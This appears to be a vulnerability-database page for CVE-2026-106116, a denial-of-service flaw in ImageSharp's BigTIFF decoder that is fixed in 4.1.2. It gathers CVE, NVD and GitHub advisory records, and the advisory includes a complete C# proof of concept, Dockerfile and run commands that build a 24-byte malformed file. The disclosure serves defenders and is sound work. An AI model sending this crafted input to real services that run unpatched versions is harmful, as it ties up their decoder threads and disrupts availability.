Vulnerability-Lookup

CVE-2026-106116 (GCVE-0-2026-106116)

Vulnerability from cvelistv5 – Published: 2026-10-06 17:51 – Updated: 2026-10-06 18:21

Title

ImageSharp: BigTIFF IFD count can keep a decoder thread in a non-progressing loop

Summary

ImageSharp is a 2D graphics library. From 2.0.0 until 4.1.2, ExifReader.ReadValues64 trusts the 64-bit BigTIFF IFD entry count and iterates once per declared entry. When fewer than 20 bytes remain, ExifReader.ReadValue64 returns without advancing the stream or terminating the outer loop, so a small malformed BigTIFF can keep one decoder thread executing for an attacker-controlled duration. This report does not claim worker-pool exhaustion. This issue is fixed in version 4.1.2.

Severity

5.3 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

SSVC

Exploitation: poc Automatable: yes Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-10-06 18:21 UTC

CWE

CWE-835 - Loop with Unreachable Exit Condition ('Infinite Loop')

Assigner

GitHub_M mitre root Scorecard

References

4 references

URL	Tags
https://github.com/SixLabors/ImageSharp/security/…	x_refsource_CONFIRM
https://github.com/SixLabors/ImageSharp/pull/3187	x_refsource_MISC
https://github.com/SixLabors/ImageSharp/commit/92…	x_refsource_MISC
https://github.com/SixLabors/ImageSharp/releases/…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
SixLabors	ImageSharp	Affected: >= 2.0.0, < 4.1.2	guessed

Show details on NVD website

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FKIE_CVE-2026-106116

Vulnerability from fkie_nvd - Published: 2026-10-06 18:16 - Updated: 2026-10-06 20:03

Severity

5.3 (Medium) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/SixLabors/ImageSharp/commit/92b12d72550ebb6be5b1e22e559c361fd863a6ec
	security-advisories@github.com	https://github.com/SixLabors/ImageSharp/pull/3187
	security-advisories@github.com	https://github.com/SixLabors/ImageSharp/releases/tag/v4.1.2
	security-advisories@github.com	https://github.com/SixLabors/ImageSharp/security/advisories/GHSA-wmxv-xphr-5c9g
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/SixLabors/ImageSharp/security/advisories/GHSA-wmxv-xphr-5c9g

Impacted products

	Vendor	Product	Version

JSON

To clipboard

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      "affectedData": [
        {
          "product": "ImageSharp",
          "vendor": "SixLabors",
          "versions": [
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            }
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    {
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    }
  ],
  "id": "CVE-2026-106116",
  "lastModified": "2026-10-06T20:03:40.690",
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GHSA-WMXV-XPHR-5C9G

Vulnerability from github – Published: 2026-10-07 20:24 – Updated: 2026-10-07 20:24

Summary

ImageSharp: BigTIFF IFD count can keep a decoder thread in a non-progressing loop

Details

Summary

SixLabors.ImageSharp 4.1.1 can spend an attacker-controlled duration decoding a small malformed BigTIFF. The BigTIFF IFD entry-count field is 64-bit. The reader iterates once per declared entry, but when fewer than 20 bytes remain for an entry, the entry read returns without advancing. A 24-byte input can therefore run billions of iterations without consuming input.

One decoder invocation occupied one executing thread for more than five seconds in the tested environment. This report makes no worker-pool exhaustion claim.

Affected package and versions

Package: SixLabors.ImageSharp (NuGet)
Affected range: >= 2.0.0, <= 4.1.1
Commit 0815358f9202a78bc7f3b83e19282dc3654b500f corresponds to release v4.1.1.

BigTIFF decoding and the unbounded ReadValues64 loop first appear in v2.0.0. Every release tag from v2.0.0 through v4.1.1 retains that loop without constraining the entry count or terminating when a truncated entry makes no progress. The 24-byte PoC exceeded the five-second timeout on published v2.0.0 and v4.1.1; the one-entry control returned promptly on both.

Details

ReadValues64 trusts the 64-bit IFD count and loops once per declared entry. When fewer than 20 bytes remain, ReadValue64 returns without advancing the stream or ending the outer loop.

Tested environment

The reproduction uses the DLL in the published NuGet 4.1.1 package:

SixLabors.ImageSharp.dll SHA-256:
c50231b527153cd9103acf03536a743958b3d892cc98cf9c05c9bcedef63ba0f
Runtime: .NET 8.0.30 (linux-arm64)
SDK: 8.0.424
OS: Debian GNU/Linux 12 (bookworm), Docker

Reproduction

The public Image.Load(Stream) call receives a 24-byte little-endian BigTIFF with its first IFD at offset 16 and entry count 5000000000. There are no bytes for an entry. Run the supplied container under a five-second timeout.

Complete observed output:

bigTiffBytes=24 entryCount=5000000000
timeout exit status: 124

timeout exit code 124 means the decoder had not returned after five seconds.

The control is identical except the entry count is 1:

bigTiffBytes=24 entryCount=1
decoderReturned=InvalidImageContentException message=The TIFF image frame is missing the ImageWidth
Docker exit status: 0

The control rejects malformed input promptly; it does not time out.

No active exploitation is known.

Complete PoC files

Program.cs:

using SixLabors.ImageSharp;

static class Program
{
    // Little-endian BigTIFF: a header, IFD at byte 16, and no IFD entry data.
    // The count field is controlled by the input.
    private static byte[] BuildBigTiff(ulong entryCount)
    {
        byte[] bytes = new byte[24];
        bytes[0] = 0x49; bytes[1] = 0x49;               // II
        bytes[2] = 0x2B; bytes[3] = 0x00;               // BigTIFF magic
        bytes[4] = 0x08; bytes[5] = 0x00;               // 8-byte offsets
        BitConverter.GetBytes((ulong)16).CopyTo(bytes, 8);
        BitConverter.GetBytes(entryCount).CopyTo(bytes, 16);
        return bytes;
    }

    private static void Main(string[] args)
    {
        ulong entryCount = ulong.Parse(args[0]);
        byte[] bytes = BuildBigTiff(entryCount);
        Console.Error.WriteLine($"bigTiffBytes={bytes.Length} entryCount={entryCount}");
        try
        {
            using var stream = new MemoryStream(bytes);
            using Image image = Image.Load(stream);
            Console.Error.WriteLine("completed");
        }
        catch (Exception ex)
        {
            Console.Error.WriteLine($"decoderReturned={ex.GetType().Name} message={ex.Message}");
        }
    }
}

Project file:

<Project Sdk="Microsoft.NET.Sdk">
  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net8.0</TargetFramework>
    <ImplicitUsings>enable</ImplicitUsings>
    <Nullable>enable</Nullable>
  </PropertyGroup>
  <!-- Directly load the DLL packaged by the published NuGet 4.1.1 release. -->
  <ItemGroup>
    <Reference Include="SixLabors.ImageSharp">
      <HintPath>/root/.nuget/packages/sixlabors.imagesharp/4.1.1/lib/net8.0/SixLabors.ImageSharp.dll</HintPath>
    </Reference>
    <Reference Include="System.IO.Hashing">
      <HintPath>/root/.nuget/packages/system.io.hashing/8.0.0/lib/net8.0/System.IO.Hashing.dll</HintPath>
    </Reference>
  </ItemGroup>
</Project>

Dockerfile:

FROM mcr.microsoft.com/dotnet/sdk:8.0
WORKDIR /work
COPY wmxv.csproj Program.cs ./
RUN printf '%s\n' '<Project Sdk="Microsoft.NET.Sdk"><PropertyGroup><TargetFramework>net8.0</TargetFramework></PropertyGroup><ItemGroup><PackageReference Include="SixLabors.ImageSharp" Version="4.1.1" /></ItemGroup></Project>' > fetch.csproj \
    && dotnet restore fetch.csproj --nologo \
    && rm fetch.csproj \
    && dotnet build wmxv.csproj -c Release --nologo -v quiet
ENTRYPOINT ["dotnet", "/work/bin/Release/net8.0/wmxv.dll"]

Run:

docker build -t imagesharp-wmxv-poc .
timeout 5 docker run --rm imagesharp-wmxv-poc 5000000000
docker run --rm imagesharp-wmxv-poc 1

Severity

5.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.1"
      },
      "package": {
        "ecosystem": "NuGet",
        "name": "SixLabors.ImageSharp"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "4.1.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-106116"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-835"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-07T20:24:32Z",
    "nvd_published_at": "2026-10-06T18:16:53Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\n`SixLabors.ImageSharp` 4.1.1 can spend an attacker-controlled duration decoding a\nsmall malformed BigTIFF. The BigTIFF IFD entry-count field is 64-bit. The reader\niterates once per declared entry, but when fewer than 20 bytes remain for an entry,\nthe entry read returns without advancing. A 24-byte input can therefore run billions\nof iterations without consuming input.\n\nOne decoder invocation occupied one executing thread for more than five seconds in\nthe tested environment. This report makes no worker-pool exhaustion claim.\n\n### Affected package and versions\n\n- Package: `SixLabors.ImageSharp` (NuGet)\n- Affected range: `\u003e= 2.0.0, \u003c= 4.1.1`\n- Commit `0815358f9202a78bc7f3b83e19282dc3654b500f` corresponds to release **v4.1.1**.\n\nBigTIFF decoding and the unbounded `ReadValues64` loop first appear in v2.0.0. Every release tag from v2.0.0 through v4.1.1 retains that loop without constraining the entry count or terminating when a truncated entry makes no progress. The 24-byte PoC exceeded the five-second timeout on published v2.0.0 and v4.1.1; the one-entry control returned promptly on both.\n### Details\n\n[`ReadValues64`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Metadata/Profiles/Exif/ExifReader.cs#L220-L231) trusts the 64-bit IFD count and loops once per declared entry. When fewer than 20 bytes remain, [`ReadValue64`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Metadata/Profiles/Exif/ExifReader.cs#L439-L444) returns without advancing the stream or ending the outer loop.\n\n### Tested environment\n\nThe reproduction uses the DLL in the published NuGet 4.1.1 package:\n\n```text\nSixLabors.ImageSharp.dll SHA-256:\nc50231b527153cd9103acf03536a743958b3d892cc98cf9c05c9bcedef63ba0f\nRuntime: .NET 8.0.30 (linux-arm64)\nSDK: 8.0.424\nOS: Debian GNU/Linux 12 (bookworm), Docker\n```\n\n### Reproduction\n\nThe public `Image.Load(Stream)` call receives a 24-byte little-endian BigTIFF\nwith its first IFD at offset 16 and entry count `5000000000`. There are no bytes\nfor an entry. Run the supplied container under a five-second timeout.\n\nComplete observed output:\n\n```text\nbigTiffBytes=24 entryCount=5000000000\ntimeout exit status: 124\n```\n\n`timeout` exit code 124 means the decoder had not returned after five seconds.\n\nThe control is identical except the entry count is `1`:\n\n```text\nbigTiffBytes=24 entryCount=1\ndecoderReturned=InvalidImageContentException message=The TIFF image frame is missing the ImageWidth\nDocker exit status: 0\n```\n\nThe control rejects malformed input promptly; it does not time out.\n\nNo active exploitation is known.\n\n\n### Complete PoC files\n\nProgram.cs:\n\n```csharp\nusing SixLabors.ImageSharp;\n\nstatic class Program\n{\n    // Little-endian BigTIFF: a header, IFD at byte 16, and no IFD entry data.\n    // The count field is controlled by the input.\n    private static byte[] BuildBigTiff(ulong entryCount)\n    {\n        byte[] bytes = new byte[24];\n        bytes[0] = 0x49; bytes[1] = 0x49;               // II\n        bytes[2] = 0x2B; bytes[3] = 0x00;               // BigTIFF magic\n        bytes[4] = 0x08; bytes[5] = 0x00;               // 8-byte offsets\n        BitConverter.GetBytes((ulong)16).CopyTo(bytes, 8);\n        BitConverter.GetBytes(entryCount).CopyTo(bytes, 16);\n        return bytes;\n    }\n\n    private static void Main(string[] args)\n    {\n        ulong entryCount = ulong.Parse(args[0]);\n        byte[] bytes = BuildBigTiff(entryCount);\n        Console.Error.WriteLine($\"bigTiffBytes={bytes.Length} entryCount={entryCount}\");\n        try\n        {\n            using var stream = new MemoryStream(bytes);\n            using Image image = Image.Load(stream);\n            Console.Error.WriteLine(\"completed\");\n        }\n        catch (Exception ex)\n        {\n            Console.Error.WriteLine($\"decoderReturned={ex.GetType().Name} message={ex.Message}\");\n        }\n    }\n}\n\n```\n\nProject file:\n\n```xml\n\u003cProject Sdk=\"Microsoft.NET.Sdk\"\u003e\n  \u003cPropertyGroup\u003e\n    \u003cOutputType\u003eExe\u003c/OutputType\u003e\n    \u003cTargetFramework\u003enet8.0\u003c/TargetFramework\u003e\n    \u003cImplicitUsings\u003eenable\u003c/ImplicitUsings\u003e\n    \u003cNullable\u003eenable\u003c/Nullable\u003e\n  \u003c/PropertyGroup\u003e\n  \u003c!-- Directly load the DLL packaged by the published NuGet 4.1.1 release. --\u003e\n  \u003cItemGroup\u003e\n    \u003cReference Include=\"SixLabors.ImageSharp\"\u003e\n      \u003cHintPath\u003e/root/.nuget/packages/sixlabors.imagesharp/4.1.1/lib/net8.0/SixLabors.ImageSharp.dll\u003c/HintPath\u003e\n    \u003c/Reference\u003e\n    \u003cReference Include=\"System.IO.Hashing\"\u003e\n      \u003cHintPath\u003e/root/.nuget/packages/system.io.hashing/8.0.0/lib/net8.0/System.IO.Hashing.dll\u003c/HintPath\u003e\n    \u003c/Reference\u003e\n  \u003c/ItemGroup\u003e\n\u003c/Project\u003e\n\n```\n\nDockerfile:\n\n```dockerfile\nFROM mcr.microsoft.com/dotnet/sdk:8.0\nWORKDIR /work\nCOPY wmxv.csproj Program.cs ./\nRUN printf \u0027%s\\n\u0027 \u0027\u003cProject Sdk=\"Microsoft.NET.Sdk\"\u003e\u003cPropertyGroup\u003e\u003cTargetFramework\u003enet8.0\u003c/TargetFramework\u003e\u003c/PropertyGroup\u003e\u003cItemGroup\u003e\u003cPackageReference Include=\"SixLabors.ImageSharp\" Version=\"4.1.1\" /\u003e\u003c/ItemGroup\u003e\u003c/Project\u003e\u0027 \u003e fetch.csproj \\\n    \u0026\u0026 dotnet restore fetch.csproj --nologo \\\n    \u0026\u0026 rm fetch.csproj \\\n    \u0026\u0026 dotnet build wmxv.csproj -c Release --nologo -v quiet\nENTRYPOINT [\"dotnet\", \"/work/bin/Release/net8.0/wmxv.dll\"]\n\n```\n\nRun:\n\n```sh\ndocker build -t imagesharp-wmxv-poc .\ntimeout 5 docker run --rm imagesharp-wmxv-poc 5000000000\ndocker run --rm imagesharp-wmxv-poc 1\n```",
  "id": "GHSA-wmxv-xphr-5c9g",
  "modified": "2026-10-07T20:24:32Z",
  "published": "2026-10-07T20:24:32Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/SixLabors/ImageSharp/security/advisories/GHSA-wmxv-xphr-5c9g"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-106116"
    },
    {
      "type": "WEB",
      "url": "https://github.com/SixLabors/ImageSharp/pull/3187"
    },
    {
      "type": "WEB",
      "url": "https://github.com/SixLabors/ImageSharp/commit/92b12d72550ebb6be5b1e22e559c361fd863a6ec"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/SixLabors/ImageSharp"
    },
    {
      "type": "WEB",
      "url": "https://github.com/SixLabors/ImageSharp/releases/tag/v4.1.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "ImageSharp: BigTIFF IFD count can keep a decoder thread in a non-progressing loop"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

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Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2026-106116 (GCVE-0-2026-106116)

FKIE_CVE-2026-106116

GHSA-WMXV-XPHR-5C9G

Summary

Affected package and versions

Details

Tested environment

Reproduction

Complete PoC files

Tags

Sightings

Nomenclature

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